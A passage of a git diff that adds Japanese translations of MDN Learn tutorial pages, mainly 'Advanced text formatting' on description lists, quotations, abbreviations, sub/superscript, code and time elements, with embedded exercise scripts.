name="See_also">関連情報</h2> + +<div class="document-head" id="wiki-document-head"> +<dl> + <dt>MDN 上の <a href="/ja/docs/Web/HTML">HTML (HyperText Markup Language)</a> .</dt> + <dd>MDN における HTML に関する文書の入口で、詳細な要素と属性のリファレンスがあります。例えば、要素がが持っている属性は何か、属性の持つ値は何かなどを知りたかったら、これは最適な場所です。</dd> +</dl> +</div> diff --git a/files/ja/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/ja/learn/html/introduction_to_html/advanced_text_formatting/index.html new file mode 100644 index 0000000000..0ceb370e9e --- /dev/null +++ b/files/ja/learn/html/introduction_to_html/advanced_text_formatting/index.html @@ -0,0 +1,674 @@ +--- +title: 高度なテキスト処理 +slug: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting +tags: + - Beginner + - CodingScripting + - Guide + - HTML + - Learn + - Text + - abbreviation + - description list + - quote + - semantic +translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">テキストの書式設定のための HTML には他にも多くの要素がありますが、これは <a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a> には書かれていません。この記事で説明されている要素はあまり知られていませんが、知っていると役に立ちます。（これはまだいかなる意味でも完全なリストではありません）。ここでは、注釈、説明リスト、コンピューターコードとその他の関連テキスト、下付き文字と上付き文字、連絡先情報などのマーキングについて学習します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML入門</a>に載っている、基本的なHTMLに精通していること。<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a>に載っている、HTMLテキストフォーマット。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>高度な意味付け機能をマークアップするための、あまり知られていないHTML要素を学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="Description_lists" name="Description_lists">説明リスト</h2> + +<p>HTML テキストの基礎では、HTMLで <a href="/ja/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">基本的なリストをマークアップする</a>方法を見てきました、しかしたまに出てくる第3のリスト — <strong>説明リスト</strong> — については触れていませんでした。このリストの目的は、項目とそれに関連する説明を一緒にマークアップすることで、用語の定義や、質問と回答などに使います。用語の定義の例を見てみましょう:</p> + +<pre class="notranslate">soliloquy +In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.) +monologue +In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present. +aside +In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information</pre> + +<p>説明リストは他の種類のリストと違うラッパーを使います — {{htmlelement("dl")}} です; それぞれの用語が {{htmlelement("dt")}} (description term; 説明用語) 要素で囲まれて、それぞれの説明は {{htmlelement("dd")}} (description definition; 説明定義) 要素で囲まれます。例のマークアップを完了しましょう:</p> + +<pre class="brush: html notranslate"><dl> + <dt>独白( soliloquy )</dt> + <dd>ドラマでは、登場人物が自分自身にしゃべりかけ、内なる考えや感情や、そうなった過程を(他の登場人物ではなく)観客に対して表現します。</dd> + <dt>独白( monologue)</dt> + <dd>ドラマで、登場人物が自分の考えを観客や他の登場人物に伝わるように喋ります。</dd> + <dt>ひそひそ話</dt> + <dd>ドラマで、登場人物が観客のみに対し、ユーモアやドラマチックな効果を狙ってコメントをします。これは通常は感情や、考えや、追加の背景情報です。</dd> +</dl></pre> + +<p>ブラウザーデフォルトのスタイルでは、説明を用語からいくらかインデントします。MDN のスタイルはこの慣習にほぼ従いますが、用語を太字にします。</p> + +<dl> + <dt>独白 (soliloquy)</dt> + <dd>ドラマでは、登場人物が自分自身にしゃべりかけ、内なる考えや感情や、そうなった過程を(他の登場人物ではなく)観客に対して表現します。</dd> + <dt>独白 (monologue)</dt> + <dd>ドラマで、登場人物が自分の考えを観客や他の登場人物に伝わるように喋ります。</dd> + <dt>ひそひそ話</dt> + <dd>ドラマで、登場人物が観客のみに対し、ユーモアやドラマチックな効果を狙ってコメントをします。これは通常は感情や、考えや、追加の背景情報です。</dd> +</dl> + +<p>注意として、単独の用語に複数の説明をつけるのも許されます、例えば:</p> + +<dl> + <dt>余談</dt> + <dd>ドラマで、登場人物が観客のみに対し、ユーモアやドラマチックな効果を狙ってコメントをします。これは通常は感情や、考えや、追加の背景情報です。</dd> + <dd>文章では、現在のトピックに関連するが、主な流れには直接くっつけずに脇に置かれるコンテンツの節 (しばしば脇の囲みの中に置かれる)。</dd> +</dl> + +<h3 id="Active_learning_Marking_up_a_set_of_definitions" name="Active_learning_Marking_up_a_set_of_definitions">アクティブ学習: 定義をマークアップする</h3> + +<p>では実際に説明リストを使ってみましょう。ここでは以下の入力フィールドの生テキストをマークアップし、説明リストとして表示されるようにします。あなたがお好きな用語と説明を使って試してみることもできます。</p> + +<p>もし何かミスをしても、リセットボタンでいつでも元に戻すことができます。詰まってしまったら「Show solution」ボタンを押して解答を見ましょう。</p> + +<div class="hidden"> +<h6 id="Playable_code" name="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><h2>Live output</h2> + +<div class="output" style="min-height: 50px;"> +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> + +<textarea id="code" class="input" style="min-height: 100px; width: 95%"> +Bacon +The glue that binds the world together. +Eggs +The glue that binds the cake together. +Coffee +The drink that gets the world running in the morning. +A light brown color.</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div></pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var output = document.querySelector('.output'); +var code = textarea.value; +var userEntry = textarea.value; + +function updateCode() { + output.innerHTML = textarea.value; +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = htmlSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === 'Show solution') { + textarea.value = solutionEntry; + solution.value = 'Hide solution'; + } else { + textarea.value = userEntry; + solution.value = 'Show solution'; + } + updateCode(); +}); + +var htmlSolution = '<dl>\n <dt>Bacon</dt>\n <dd>The glue that binds the world together.</dd>\n <dt>Eggs</dt>\n <dd>The glue that binds the cake together.</dd>\n <dt>Coffee</dt>\n <dd>The drink that gets the world running in the morning.</dd>\n <dd>A light brown color.</dd>\n</dl>'; +var solutionEntry = htmlSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// stop tab key tabbing out of textarea and +// make it write a tab at the caret position instead + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + var scrollPos = textarea.scrollTop; + var caretPos = textarea.selectionStart; + + var front = (textarea.value).substring(0, caretPos); + var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// Update the saved userCode every time the user updates the text area code + +textarea.onkeyup = function(){ + // We only want to save the state when the user code is being shown, + // not the solution, so that solution is not saved over the user code + if(solution.value === 'Show solution') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Quotations" name="Quotations">引用</h2> + +<p>HTML には引用をマークアップするための機能もあります。どちらの要素を使用するかは、ブロックとインラインのどちらの引用をマークアップするかによって異なります。</p> + +<h3 id="Blockquotes" name="Blockquotes">ブロッククォート</h3> + +<p>ブロックレベルのコンテンツのセクション (段落、複数段落、リストなど) が他の場所から引用されている場合は、それを表すために {{htmlelement("blockquote")}} 要素で囲む必要があります。{{htmlattrxref("cite","blockquote")}} 属性内に引用のソースを指す URL を含めます。たとえば、次のマークアップは MDN の <code><blockquote></code> 要素ページから取得されます。</p> + +<pre class="brush: html notranslate"><p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block +Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p></pre> + +<p>これをブロッククォートにするには、次のようにします。</p> + +<pre class="brush: html notranslate"><blockquote cite="https://developer.mozilla.org/ja/docs/Web/HTML/Element/blockquote"> + <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block + Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p> +</blockquote></pre> + +<p>ブラウザのデフォルトのスタイル設定では、これがインデントされた段落として、それが引用であることを示すインジケータとして表示されます。MDN はこれを行いますが、さらにいくつかのスタイルを追加します。</p> + +<blockquote cite="https://developer.mozilla.org/ja/docs/Web/HTML/Element/blockquote"> +<p><strong>HTML <code><blockquote></code> </strong><strong>要素</strong> (または <em>HTML Block Quotation 要素</em>) は、囲まれたテキストが拡張引用符であることを示します。</p> +</blockquote> + +<h3 id="Inline_quotations" name="Inline_quotations">インラインクォート</h3> + +<p>インラインの引用は、{{htmlelement("q")}} 要素を使用することを除いて、まったく同じ方法で機能します。例えば、以下のマークアップには MDN の <code><q></code> ページからの引用が含まれています。</p> + +<pre class="brush: html notranslate"><p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/ja/docs/Web/HTML/Element/q">intended +for short quotations that don't require paragraph breaks.</q></p></pre> + +<div title="Browser default styling will render this as normal text put in quotes to indicate a quotation, like so:">ブラウザーのデフォルトのスタイル設定では、これは引用符で囲まれた通常のテキストとしてレンダリングされ、次のようになります。</div> + +<div title="Browser default styling will render this as normal text put in quotes to indicate a quotation, like so:"></div> + +<p>quote 要素 — <code><q></code> — は "段落区切りを必要としない短い引用のためのもの" です。</p> + +<h3 id="Citations" name="Citations">引用元</h3> + +<p>{{htmlattrxref("cite","blockquote")}} 属性の内容は役に立ちそうに見えますが、残念ながらブラウザ、スクリーンリーダーなどはこれについてあまり機能しません。 JavaScript または CSS を使用して独自のソリューションを作成しない限り、ブラウザに引用元の内容を表示させる方法はありません。引用元のソースをページ上で利用可能にしたい場合は、それをマークアップするためのより良い方法は、{{htmlelement("cite")}} 要素を quote 要素の隣 (または内側) に置くことです。これはまさに引用したリソースのタイトル — 例えば本の名前 — を含むことを意味しますが、とにかく、 <code><cite></code> <span class="tlid-translation translation" lang="ja"><span title="">内のテキストを何らかの方法で引用ソースにリンクできない理由はありません。</span></span></p> + +<pre class="brush: html notranslate"><p>According to the <a href="https://developer.mozilla.org/ja/docs/Web/HTML/Element/blockquote"> +<cite>MDN blockquote page</cite></a>: +</p> + +<blockquote cite="https://developer.mozilla.org/ja/docs/Web/HTML/Element/blockquote"> + <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block + Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p> +</blockquote> + +<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/ja/docs/Web/HTML/Element/q">intended +for short quotations that don't require paragraph breaks.</q> -- <a href="https://developer.mozilla.org/ja/docs/Web/HTML/Element/q"> +<cite>MDN q page</cite></a>.</p></pre> + +<p>引用は、デフォルトではイタリック体で表示されています。あなたは <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/quotations.html">quotations.html</a> の例で動作しているこのコードを見ることができます。</p> + +<h3 id="Active_learning_Who_said_that" name="Active_learning_Who_said_that">アクティブラーニング: 誰がそう言ったの？</h3> + +<p>もう一つのアクティブラーニングの時間です！ この例では、あなたにお願いします。</p> + +<ol> + <li>中央の段落を <code>cite</code> 属性を含むブロッククォートにします。</li> + <li>3番目の段落の一部を、<code>cite</code> 属性を含むインライン引用に変換します。</li> + <li>各リンクに <code><cite></code> 要素を含めます。</li> +</ol> + +<p>必要な引用元は以下のとおりです。</p> + +<ul> + <li>Confucius の引用については http://www.brainyquote.com/quotes/authors/c/confucius.html</li> + <li>http://www.affirmationsforpositivethinking.com/index.htm「The Need To Eliminate Negative Self Talk」用</li> +</ul> + +<p>間違えた場合は、リセットボタンを使用していつでもリセットできます。本当に動けなくなったら、<em>Show solution</em> ボタンを押して答えを見てください。</p> + +<div class="hidden"> +<h6 id="Playable_code_2" name="Playable_code_2">Playable code</h6> + +<pre class="brush: html notranslate"><h2>Live output</h2> + +<div class="output" style="min-height: 50px;"> +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> + +<textarea id="code" class="input" style="min-height: 150px; width: 95%"> +<p>Hello and welcome to my motivation page. As Confucius once said:</p> +<p>It does not matter how slowly you go as long as you do not stop.</p> +<p>I also love the concept of positive thinking, and The Need To Eliminate Negative Self Talk (as mentioned in Affirmations for Positive Thinking.)</p> +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div></pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var output = document.querySelector('.output'); +var code = textarea.value; +var userEntry = textarea.value; + +function updateCode() { + output.innerHTML = textarea.value; +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = htmlSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === 'Show solution') { + textarea.value = solutionEntry; + solution.value = 'Hide solution'; + } else { + textarea.value = userEntry; + solution.value = 'Show solution'; + } + updateCode(); +}); + +var htmlSolution = '<p>Hello and welcome to my motivation page. As <a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"><cite>Confucius</cite></a> once said:</p>\n\n<blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html">\n <p>It does not matter how slowly you go as long as you do not stop.</p>\n</blockquote>\n\n<p>I also love the concept of positive thinking, and <q cite="http://www.affirmationsforpositivethinking.com/index.htm">The Need To Eliminate Negative Self Talk</q> (as mentioned in <a href="http://www.affirmationsforpositivethinking.com/index.htm"><cite>Affirmations for Positive Thinking</cite></a>.)</p>'; +var solutionEntry = htmlSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// stop tab key tabbing out of textarea and +// make it write a tab at the caret position instead + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + var scrollPos = textarea.scrollTop; + var caretPos = textarea.selectionStart; + + var front = (textarea.value).substring(0, caretPos); + var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// Update the saved userCode every time the user updates the text area code + +textarea.onkeyup = function(){ + // We only want to save the state when the user code is being shown, + // not the solution, so that solution is not saved over the user code + if(solution.value === 'Show solution') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', 700, 450, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Abbreviations" name="Abbreviations">略語</h2> + +<p>Web を見回すときに見かけるもう1つのかなり一般的な要素は {{htmlelement("abbr")}} です — これは略語や頭字語を囲み、その用語の完全な展開 (これは{{htmlattrxref("title")}} <span class="tlid-translation translation" lang="ja"><span title="">属性内に含まれる</span></span>) を提供するために使用されます。例をいくつか見てみましょう。</p> + +<pre class="notranslate"><p>We use <abbr title="Hypertext Markup Language">HTML</abbr> to structure our web documents.</p> + +<p>I think <abbr title="Reverend">Rev.</abbr> Green did it in the kitchen with the chainsaw.</p></pre> + +<p>これらは次のようなものに見えます (用語が上に置かれると展開はツールチップに表示されます)。</p> + +<p>We use <abbr title="Hypertext Markup Language">HTML</abbr> to structure our web documents.</p> + +<p>I think <abbr title="Reverend">Rev.</abbr> Green did it in the kitchen with the chainsaw.</p> + +<div class="note"> +<p><strong>注</strong>: 別の要素だと、{{htmlelement("acronym")}} があります。これは基本的に <code><abbr></code> と同じことを行い、特に省略語ではなく頭字語を対象としていました。しかしこれは廃止され、ブラウザでは <code><abbr></code> ほどにはサポートされていませんでしたし、同じような機能を備えているため、両方を使用するのは無意味です。 代わりに <code><abbr></code> を使用してください。</p> +</div> + +<h3 id="Active_learning_marking_up_an_abbreviation" name="Active_learning_marking_up_an_abbreviation">アクティブラーニング: 略語をマークアップする</h3> + +<p>このシンプルなアクティブラーニング課題では、単に略語をマークアップしてください。以下のサンプルを使用するか、またはあなた自身のものと交換することができます。</p> + +<div class="hidden"> +<h6 id="Playable_code_3" name="Playable_code_3">Playable code</h6> + +<pre class="brush: html notranslate"><h2>Live output</h2> + +<div class="output" style="min-height: 50px;"> +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> + +<textarea id="code" class="input" style="min-height: 50px; width: 95%"> +<p>NASA sure does some exciting work.</p> +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div></pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var output = document.querySelector('.output'); +var code = textarea.value; +var userEntry = textarea.value; + +function updateCode() { + output.innerHTML = textarea.value; +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = htmlSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === 'Show solution') { + textarea.value = solutionEntry; + solution.value = 'Hide solution'; + } else { + textarea.value = userEntry; + solution.value = 'Show solution'; + } + updateCode(); +}); + +var htmlSolution = '<p><abbr title="National Aeronautics and Space Administration">NASA</abbr> sure does some exciting work.</p>'; +var solutionEntry = htmlSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// stop tab key tabbing out of textarea and +// make it write a tab at the caret position instead + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + var scrollPos = textarea.scrollTop; + var caretPos = textarea.selectionStart; + + var front = (textarea.value).substring(0, caretPos); + var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// Update the saved userCode every time the user updates the text area code + +textarea.onkeyup = function(){ + // We only want to save the state when the user code is being shown, + // not the solution, so that solution is not saved over the user code + if(solution.value === 'Show solution') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_3', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Marking_up_contact_details" name="Marking_up_contact_details">詳細な連絡先をマークアップする</h2> + +<p>HTML には連絡先の詳細をマークアップするための要素 — {{htmlelement("address")}} があります。これは単に連絡先の詳細を囲むだけです。例えば：</p> + +<pre class="brush: html notranslate"><address> + <p>Chris Mills, Manchester, The Grim North, UK</p> +</address></pre> + +<p>ただし {{htmlelement("address")}} 要素は、HTML 文書を作成した人の連絡先の詳細をマークアップするためのものであり、住所ではありません。マークアップが書かれている文書を書いたのがクリスならば、上記は大丈夫でしょう。このようなものでも大丈夫でしょう：</p> + +<pre class="brush: html notranslate"><address> + <p>Page written by <a href="../authors/chris-mills/">Chris Mills</a>.</p> +</address></pre> + +<h2 id="Superscript_and_subscript" name="Superscript_and_subscript">上付きと下付き</h2> + +<p>日付、化学式、数式などの項目をマークアップするときには、上付き文字と下付き文字を使用する必要がある場合があります。{{htmlelement("sup")}} と {{htmlelement("sub")}} 要素がこの仕事を処理します。例えば：</p> + +<pre class="brush: html notranslate"><p>My birthday is on the 25<sup>th</sup> of May 2001.</p> +<p>Caffeine's chemical formula is C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p> +<p>If x<sup>2</sup> is 9, x must equal 3 or -3.</p></pre> + +<p>このコードの出力は次のようになります。</p> + +<p>My birthday is on the 25<sup>th</sup> of May 2001.</p> + +<p>Caffeine's chemical formula is C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p> + +<p>If x<sup>2</sup> is 9, x must equal 3 or -3.</p> + +<h2 id="Representing_computer_code" name="Representing_computer_code">コンピューターコードを表現する</h2> + +<p>HTML を使用してコンピュータコードをマークアップするために利用可能な要素がいくつかあります。</p> + +<ul> + <li>{{htmlelement("code")}}: コンピュータコードの一般的な部分をマークアップします。</li> + <li>{{htmlelement("pre")}}: 空白 (通常はコードブロック) を保持するために — テキスト内でインデントまたは余分な空白を使用すると、ブラウザはそれを無視し、レンダリングされたページには表示されません。ただし、テキストを <code><pre></pre></code> タグで囲むと、空白はテキストエディタでの表示と同じようにレンダリングされます。</li> + <li>{{htmlelement("var")}}: 特に変数名をマークアップするためのものです。</li> + <li>{{htmlelement("kbd")}}: コンピューターに入力されたキーボード (およびその他の種類の) 入力をマークアップするためのものです。</li> + <li>{{htmlelement("samp")}}: コンピュータプログラムの出力をマークアップします。</li> +</ul> + +<p>いくつか例を見てみましょう。これら (<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/other-semantics.html">other-semantics.html</a> サンプルファイルのコピーを入手してください) を試してみるべきです：</p> + +<pre class="brush: html notranslate"><pre><code>var para = document.querySelector('p'); + +para.onclick = function() { + alert('Owww, stop poking me!'); +}</code></pre> + +<p>You shouldn't use presentational elements like <code>&lt;font&gt;</code> and <code>&lt;center&gt;</code>.</p> + +<p>In the above JavaScript example, <var>para</var> represents a paragraph element.</p> + + +<p>Select all the text with <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p> + +<pre>$ <kbd>ping mozilla.org</kbd> +<samp>PING mozilla.org (63.245.215.20): 56 data bytes +64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre></pre> + +<p>上記のコードは次のようになります。</p> + +<p>{{EmbedLiveSample('Representing_computer_code','100%',300, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Marking_up_times_and_dates" name="Marking_up_times_and_dates">日付と時刻をマークアップする</h2> + +<p>HTML には、時間と日付を機械可読形式でマークアップするための {{htmlelement("time")}} 要素もあります。例えば：</p> + +<pre class="brush: html notranslate"><<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20<span class="pl-pds">"</span></span>>20 January 2016</<span class="pl-ent">time</span>></pre> + +<p>これはなぜ便利でしょうか？ 人間が日付を書き留める方法はたくさんあります。上記の日付は次のように書くことができます。</p> + +<ul> + <li>20 January 2016</li> + <li>20th January 2016</li> + <li>Jan 20 2016</li> + <li>20/01/16</li> + <li>01/20/16</li> + <li>The 20th of next month</li> + <li><span lang="fr">20e Janvier 2016</span></li> + <li><span lang="ja">2016年1月20日</span></li> + <li>等々</li> +</ul> + +<p>しかしこれらの異なる形式はコンピュータでは容易には認識できません。ページ内のすべてのイベントの日付を自動的に取得してカレンダーに挿入する場合はどうなりますか。{{htmlelement("time")}} 要素を使用すると、この目的のために、明確で機械可読な日時を付けることができます。</p> + +<p>上記の基本的な例は単純な機械可読な日付を提供するだけですが、可能な他の多くのオプションがあります。例えば：</p> + +<pre class="brush: html notranslate"><!-- Standard simple date --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20<span class="pl-pds">"</span></span>>20 January 2016</<span class="pl-ent">time</span>> +<!-- Just year and month --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01<span class="pl-pds">"</span></span>>January 2016</<span class="pl-ent">time</span>> +<!-- Just month and day --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>01-20<span class="pl-pds">"</span></span>>20 January</<span class="pl-ent">time</span>> +<!-- Just time, hours and minutes --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>19:30<span class="pl-pds">"</span></span>>19:30</<span class="pl-ent">time</span>> +<!-- You can do seconds and milliseconds too! --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span></span>19:30:01.856<span class="pl-s"><span class="pl-pds">"</span></span>>19:30:01.856</<span class="pl-ent">time</span>> +<!-- Date and time --> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20T19:30<span class="pl-pds">"</span></span>>7.30pm, 20 January 2016</<span class="pl-ent">time</span>> +<!-- Date and time with timezone offset--> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20T19:30<span class="pl-pds">+01:00"</span></span>>7.30pm, 20 January 2016 is 8.30pm in France</<span class="pl-ent">time</span>> +<!-- Calling out a specific week number--> +<<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-W04<span class="pl-pds">"</span></span>>The fourth week of 2016</<span class="pl-ent">time</span>></pre> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>これで HTML テキストのセマンティクスに関する学習が終わりました。このコースで見たことが HTML テキスト要素の完全なリストではないことに注意してください — <span class="tlid-translation translation" lang="ja"><span title="">私たちは必要不可欠なもの、そしてあなたがどこかで見るであろう、あるいは少なくとも面白いと思うかもしれないより一般的なものの一部をカバーしたいと思いました。もっと多くの HTML 要素を見つけるために、<a href="/ja/docs/Web/HTML/Element">HTML 要素のリファレンス</a> (<a href="/ja/docs/Web/HTML/Element#Inline_text_semantics">インラインテキストセマンティクスセクション</a>は始めるのに素晴らしい場所でしょう) を参照することができます。</span><span title="">次回の記事では、HTML 文書のさまざまな部分を構造化するために使用する HTML 要素について説明します。</span></span></p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTMLを始めよう</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li> +</ul> diff --git a/files/ja/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/ja/learn/html/introduction_to_html/creating_hyperlinks/index.html new file mode 100644 index 0000000000..34d846cd4c --- /dev/null +++ b/files/ja/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -0,0 +1,338 @@ +--- +title: ハイパーリンクの作成 +slug: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +tags: + - Beginner + - CodingScripting + - Guide + - HTML + - Learn + - Links + - Title + - absolute + - hyperlinks + - relative + - urls +translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">ハイパーリンクとは本当に重要なものです— 